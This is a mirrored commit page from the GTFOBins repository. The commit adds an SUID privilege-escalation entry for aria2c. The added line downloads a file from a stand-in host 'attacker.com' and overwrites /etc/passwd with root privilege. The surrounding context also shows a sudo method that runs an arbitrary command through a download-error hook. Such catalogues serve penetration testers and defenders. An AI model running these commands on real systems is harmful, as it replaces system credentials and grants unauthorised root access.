public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-25 14:30:07 +01:00
Code Issues Projects Releases Wiki Activity

Add SUID method to aria2c

Browse Source 
Found this new method of abusing aria2c's suid for privilege escalation.
This commit is contained in:
ohyicong 2023-01-02 16:36:59 +08:00
parent f4e71b63cb
commit 42cac0885e
1 changed files with 4 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
_gtfobins/aria2c.md
View File

@ -17,6 +17,10 @@ functions:
echo "$COMMAND" > $TF echo "$COMMAND" > $TF
chmod +x $TF chmod +x $TF
sudo aria2c --on-download-error=$TF http://x sudo aria2c --on-download-error=$TF http://x
suid:
- code: |
aria2c -d /etc/ -o passwd "http://attacker.com/passwd" --allow-overwrite=true
- description: Remote download and replace /etc/passwd with root privilege.
limited-suid: limited-suid:
- code: | - code: |
COMMAND='id' COMMAND='id'